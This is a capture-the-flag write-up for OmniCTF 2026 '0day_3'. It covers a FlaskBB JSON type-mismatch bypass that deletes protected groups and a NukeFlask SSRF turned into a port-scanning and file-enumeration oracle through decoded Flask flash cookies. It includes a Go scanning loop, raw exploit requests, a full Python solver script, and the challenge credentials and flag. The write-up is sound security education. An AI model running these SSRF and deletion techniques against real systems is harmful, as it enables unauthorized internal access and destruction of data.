OmniCTF 2026 `0day_3` Writeup

SYZD

OmniCTF 2026, Web Category
July 2026

Abstract: We present the exploit chain used to solve OmniCTF 2026 `0day_3`. The target state required deletion of six protected groups in a FlaskBB forum. Source inspection exposed a type mismatch in the bulk deletion guard: JSON integers bypassed a denylist expressed as strings, while the following SQLAlchemy query still resolved the same integers to protected rows. Exploitation nevertheless required a valid administrator session and CSRF token. A second application, NukeFlask, exposed an authenticated GET-only remote-import primitive with loopback access. Because the importer discarded unsupported response bodies, we decoded Flask flash messages from its signed session cookie and used the result as a three-state SSRF oracle. Exhaustive loopback scanning found an undocumented HTTP service on port 6033; filename enumeration then recovered `backup_creds.zip`, which contained the FlaskBB administrator password. The final authenticated request deleted groups 1 through 6 and satisfied the flag service. The solve illustrates a common CTF pattern in a slightly absurd academic wrapper: the shortest exploit request can sit behind the longest discovery phase.

Keywords: SSRF, Flask, type mismatch, cross-service exploitation, credential disclosure, CTF

URL: https://ctf.omnictf.com/challenges?challenge=0day-3

Flag: `omniCTF{B8ytWYVq859vpIhhnocbvpSfWNPmKoq4}`

---

1 Introduction

The challenge joined three services: NukeFlask, FlaskBB, and a flag service that checked whether the forum had been destroyed. The final condition was concrete, but the public interfaces did not expose an administrator account or a direct destructive action.

We found the destructive primitive first. FlaskBB's bulk group deletion endpoint mishandled JSON types and could delete the six groups that its own guard attempted to protect. That result reduced the endgame to one authenticated request, but the endpoint required an administrator session and a CSRF token. Direct password, token, and session attacks did not provide either prerequisite.

NukeFlask supplied the missing access path. Its remote media importer could request arbitrary HTTP URLs from the application's network namespace. The importer did not expose rejected bodies, so the useful observation was initially limited to a flash message stored in the Flask session cookie. Converting that message into a network oracle made a complete loopback scan practical and exposed an internal service on port 6033. The service hosted a ZIP archive with the administrator credential needed by FlaskBB.

The complete chain was

NukeFlask SSRF → `127.0.0.1:6033`
→ `backup_creds.zip`
→ FlaskBB administrator
→ protected-group deletion
→ flag service.

2 Protected-Group Deletion

FlaskBB 2.2.0 implemented bulk group deletion as follows:

```
json = request.get_json(silent=True)
if json is not None:
    ids = json.get("ids")
    if not ids:
        return jsonify(message="No ids provided.",
                       category="error", status=404)

    if not (set(ids) &
            set(["1", "2", "3", "4", "5", "6"])):
        data = []
        for group in Group.get_all(Group.id.in_(ids)):
            group.delete()
            data.append({"id": group.id, "type": "delete"})
```

The intended invariant was that groups 1 through 6 could not enter the deletion loop. The guard represented those identifiers as strings even though the request parser preserved JSON numeric values as Python integers.

Proposition 2.1 (Protected-ID bypass)**.** Let the request body contain `ids = [1,2,3,4,5,6]` as JSON numbers. The protected-ID intersection is empty, so the guard is bypassed, while the subsequent database predicate selects all six protected groups.

Proof. JSON decoding produces the integer set $I = \{1, 2, 3, 4, 5, 6\}$. The guard constructs the string set $S = \{\texttt{"1"}, \ldots, \texttt{"6"}\}$. Python therefore computes $I \cap S = \varnothing$. The branch executes, and SQLAlchemy compares the elements of I with the integer `Group.id` column. The query selects rows 1 through 6. □

The vulnerable handler was exposed at `/admin/groups/delete`. The single-group deletion path compared `group_id <= 6` as integers and did not share this bug. The final destructive request was already known at this stage:

```
POST /admin/groups/delete HTTP/1.1
Cookie: session=<admin-session>
Content-Type: application/json
X-CSRFToken: <token>

{"ids":[1,2,3,4,5,6]}
```

2.1 Authentication paths ruled out

Registration inserted an inactive user, after which the activation stage returned HTTP 500 and no email arrived. The organizers later confirmed that the activation worker was not part of the challenge stack. The inactive account could not enter the administration interface.

We tested FlaskBB defaults, challenge and service names, author names, instance identifiers, and the supplied NukeFlask editor password against the `admin` account. We also used `flask-unsign` to test sample FlaskBB keys, challenge-derived candidates, and all 14,344,391 entries in `rockyou.txt` against the session signature. None succeeded.

Activation-token and password-reset-token forgery required the missing signing key. JWT attacks did not apply to the token format. Direct administration requests failed without a session and with an ordinary session, including requests carrying a valid ordinary-user CSRF token. SQL injection, SSTI, Werkzeug debugger access, static traversal, and an uploaded SVG likewise produced no administrator context. These results supported a credential-retrieval route rather than a second FlaskBB authorization bypass.

3 The Remote-Import Oracle

The provided editor account could access NukeFlask's Media Manager. Its remote-import form posted a URL to `/media/remote-upload`:

```
<form method="post" action="/media/remote-upload">
  <input type="url" name="url" id="remote-url" required>
</form>
```

Client-side JavaScript restricted filenames to common image extensions. A direct request bypassed that check and supplied a loopback URL:

```
POST /media/remote-upload HTTP/1.1
Cookie: session=<editor-session>
Content-Type: application/x-www-form-urlencoded

url=http%3A%2F%2F127.0.0.1%3A5000%2F
```

NukeFlask fetched the URL from its own network namespace. It did not return rejected response bodies, but it called Flask's `flash()` function with one of three messages.

Definition 3.1 (Flash oracle)**.** For a destination URL u, define the observation $\mathcal{O}_{\text{flash}}(u)$ from the decoded `_flashes` value:

$$\mathcal{O}_{\text{flash}}(u) = \begin{cases} 0, & \text{fetch failure,} \\ 1, & \text{HTTP response with a rejected type,} \\ 2, & \text{response imported.} \end{cases}$$

The three values cover an unreachable destination or HTTP error, a live HTTP service whose response the importer rejected, and a response copied into public uploads. The corresponding messages were `could not fetch`, `unsupported format`, and `Image imported`.

Flask signs its session cookie but does not encrypt the payload. The following decoder recovered the flash data after each request:

```
def decode_session(cookie):
    compressed = cookie.startswith(".")
    payload = cookie.split(".")[1 if compressed else 0]
    raw = base64.urlsafe_b64decode(
        payload + "=" * (-len(payload) % 4)
    )
    if compressed:
        raw = zlib.decompress(raw)
    return json.loads(raw)
```

The importer accepted ZIP archives and `text/plain`, but rejected `text/html`. Redirects, URL suffix tricks, `Content-Disposition`, CRLF payloads, alternate URL schemes, and method overrides did not change the final content-type check or upgrade the GET-only primitive. FlaskBB was reachable at `flaskbb:5000`; its HTML pages remained unreadable, while several importable static assets contained no credential or signing key.

4 Loopback Service Discovery

Initial probes reached `flaskbb:5000`, `nukeflask:5000`, and `flag:80`. Mail services, Redis, database ports, the Docker API, and common management interfaces produced no useful data. A conventional localhost port list found only NukeFlask on port 5000.

An organizer clarification described the GET-only SSRF as a read primitive and directed attention to services reachable from NukeFlask's localhost. We replaced the common-port list with a scan over ports 1 through 65,535. Each worker submitted `http://127.0.0.1:<port>/`, decoded the returned session cookie, and suppressed observations with $\mathcal{O}_{\text{flash}} = 0$.

```
for p := range jobs {
    dest := fmt.Sprintf("http://127.0.0.1:%d/", p)
    form := url.Values{"url": {dest}}

    req, _ := http.NewRequest(
        "POST", base+"/media/remote-upload",
        strings.NewReader(form.Encode()),
    )
    req.Header.Set("Content-Type",
                   "application/x-www-form-urlencoded")
    req.AddCookie(auth)

    res, err := client.Do(req)
    if err != nil { continue }
    io.Copy(io.Discard, res.Body)
    res.Body.Close()

    for _, cookie := range res.Cookies() {
        if cookie.Name == "session" {
            message := decodeFlash(cookie.Value)
            if !strings.Contains(message, "could not fetch") {
                fmt.Printf("%d\t%s\n", p, message)
            }
        }
    }
}
```

The scan returned two HTTP services:

```
5000    NukeFlask
6033    Could not import: unsupported format.
```

Port 6033 was absent from the first port list and from the public service map. Its root path produced $\mathcal{O}_{\text{flash}} = 1$: the importer had received an HTTP response but refused to preserve the body. This was consistent with an HTML root page, although the oracle did not expose the body or exact response headers. It was the first new service found after several hours of negative authentication and network tests.

5 Credential Recovery

The first enumeration pass tested 4,751 common paths. A targeted pass added credential, backup, configuration, and database names. Conventional handlers such as `/download`, `/read`, and `/fetch`, with parameters named `file`, `path`, `name`, and `resource`, also failed.

The absence of application-style routes suggested a static file server. We generated 146,413 filename candidates from roots including `admin`, `flaskbb`, `credentials`, `creds`, `password`, `backup`, and `private`. Date and environment modifiers were combined with extensions such as `txt`, `json`, `db`, `zip`, `tar`, and `bak`.

One URL changed the observation from $\mathcal{O}_{\text{flash}} = 0$ to $\mathcal{O}_{\text{flash}} = 2$:

```
http://127.0.0.1:6033/backup_creds.zip
```

On the instance used for the original solve, NukeFlask copied the response to its public uploads directory as `/static/uploads/20260719014415_backup_creds.zip`. The archive contained a 229-byte file named `credentials.txt`:

```
# Internal Service Credentials

## FlaskBB Forum
URL: http://flaskbb:5000
Username: admin
Password: 83eVhLYx5fCBCr9knuGF8LulJhseE179
Role: Administrator
```

The credential completed the cross-service chain. Its fixed but high-entropy password explained why direct password guesses had failed. The session-key search had targeted a different secret and was simply the wrong prerequisite.

6 End-to-End Exploitation

We fetched `/auth/login`, extracted the hidden `csrf_token`, and authenticated with the recovered administrator credential. The group management page exposed the token used by its JSON endpoints:

```
<meta name="csrf-token" content="<token>">
```

The final request supplied protected IDs as JSON integers:

```
POST /admin/groups/delete HTTP/1.1
Cookie: session=<admin-session>
Content-Type: application/json
X-CSRFToken: <token>

{"ids":[1,2,3,4,5,6]}
```

FlaskBB returned

```
{
  "message": "6 groups deleted.",
  "category": "success",
  "status": 200
}
```

A POST to the flag service ran its state check and returned

```
Target Destroyed
omniCTF{B8ytWYVq859vpIhhnocbvpSfWNPmKoq4}
```

7 Discussion

The final exploit contained no difficult request once the credential had been recovered. The time-consuming part was turning a body-blind, GET-only SSRF into a measurement primitive. The signed Flask cookie preserved enough state to distinguish an unreachable target, a live HTTP service with a rejected response, and a file that NukeFlask had copied into public storage. That three-state distinction supported both port scanning and filename enumeration.

Two search choices delayed the solve. First, the initial loopback scan used a common-port list even though a challenge-specific sidecar had no reason to select a conventional port. A full scan became inexpensive once the flash oracle was available. Second, the early filename lists contained `backup`, `creds`, and `zip`, but not their exact combination. Pairwise combinations of the strongest context words would have found `backup_creds.zip` before the 146,413-entry expansion.

The exploit also depended on a clean separation between discovery and execution. Source review fixed the destructive sink and its exact input before the credential path was understood. Failed FlaskBB authentication work then narrowed the missing prerequisite to a genuine administrator credential. NukeFlask supplied that credential through a service that was reachable only from its own loopback interface. Each component was small; the challenge lay in connecting their trust boundaries.

8 Conclusion

OmniCTF `0day_3` combined a FlaskBB type mismatch, a NukeFlask remote-import SSRF, and an internal credential archive. JSON integers bypassed the protected-group denylist, while the flash data in NukeFlask's signed session cookie converted remote import into a usable network oracle. Full loopback scanning exposed port 6033, and filename enumeration recovered the administrator password required by the deletion endpoint. The forum then accepted the six protected IDs and the flag service confirmed the target state.

A Reference Solver

The following script reproduces the exploit after discovery of port 6033 and the backup filename.

```python
#!/usr/bin/env python3
import io
import re
import sys
import zipfile
from urllib.parse import urljoin

import requests

NUKE = sys.argv[1].rstrip("/")
FORUM = sys.argv[2].rstrip("/")
FLAG_SERVICE = sys.argv[3].rstrip("/")

NUKE_USER = "editor"
NUKE_PASSWORD = "H8kR3mPx9wLs2vNj"

def csrf_from_html(html: str) -> str:
    patterns = [
        r'<meta\s+name=["\']csrf-token["\']\s+content=["\']([^"\']+)',
        r'name=["\']csrf_token["\'][^>]+value=["\']([^"\']+)',
        r'value=["\']([^"\']+)["\'][^>]+name=["\']csrf_token["\']',
    ]
    for pattern in patterns:
        match = re.search(pattern, html, re.I)
        if match:
            return match.group(1)
    raise RuntimeError("CSRF token not found")

requests.packages.urllib3.disable_warnings()

nuke = requests.Session()
nuke.verify = False
response = nuke.post(
    NUKE + "/login",
    data={"username": NUKE_USER, "password": NUKE_PASSWORD},
    timeout=15,
)
response.raise_for_status()
assert not response.url.rstrip("/").endswith("/login")

response = nuke.post(
    NUKE + "/media/remote-upload",
    data={"url": "http://127.0.0.1:6033/backup_creds.zip"},
    timeout=15,
)
response.raise_for_status()

media_page = nuke.get(NUKE + "/media", timeout=15)
media_page.raise_for_status()
match = re.search(
    r'href=["\']([^"\']*backup_creds\.zip)',
    media_page.text,
    re.I,
)
if not match:
    raise RuntimeError("imported backup_creds.zip was not listed")

backup = nuke.get(urljoin(NUKE + "/", match.group(1)), timeout=15)
backup.raise_for_status()
with zipfile.ZipFile(io.BytesIO(backup.content)) as archive:
    credentials = archive.read("credentials.txt").decode()

forum_user = re.search(r"^Username:\s*(\S+)", credentials, re.M).group(1)
forum_password = re.search(r"^Password:\s*(\S+)", credentials, re.M).group(1)

forum = requests.Session()
forum.verify = False
login_page = forum.get(FORUM + "/auth/login", timeout=15)
login_page.raise_for_status()
login_csrf = csrf_from_html(login_page.text)

response = forum.post(
    FORUM + "/auth/login",
```

```
    data={
        "login": forum_user,
        "password": forum_password,
        "remember_me": "y",
        "csrf_token": login_csrf,
        "submit": "Login",
    },
    timeout=15,
)
response.raise_for_status()
assert "/auth/logout" in response.text

groups_page = forum.get(FORUM + "/admin/groups", timeout=15)
groups_page.raise_for_status()
admin_csrf = csrf_from_html(groups_page.text)

response = forum.post(
    FORUM + "/admin/groups/delete",
    json={"ids": [1, 2, 3, 4, 5, 6]},
    headers={"X-CSRFToken": admin_csrf},
    timeout=15,
)
response.raise_for_status()
result = response.json()
assert result["message"] == "6 groups deleted."

response = requests.post(FLAG_SERVICE + "/", verify=False, timeout=15)
response.raise_for_status()
print(response.text)
```

Usage

```
python3 solve.py \
  'https://zero-day-3-nuke-<instance>.inst.omnictf.com' \
  'https://zero-day-3-forum-<instance>.inst.omnictf.com' \
  'https://zero-day-3-flag-<instance>.inst.omnictf.com'
```

Acknowledgements

This was an incredibly fun competition. We finished third overall, and our team was the only team to solve `0day_3`. We would like to thank the organizers once again for their thoughtful support throughout the event.

Solver's note. This was my first CTF after joining SYZD, which made OmniCTF 2026 especially memorable to me. Happy hacking!

Solved by **miso**.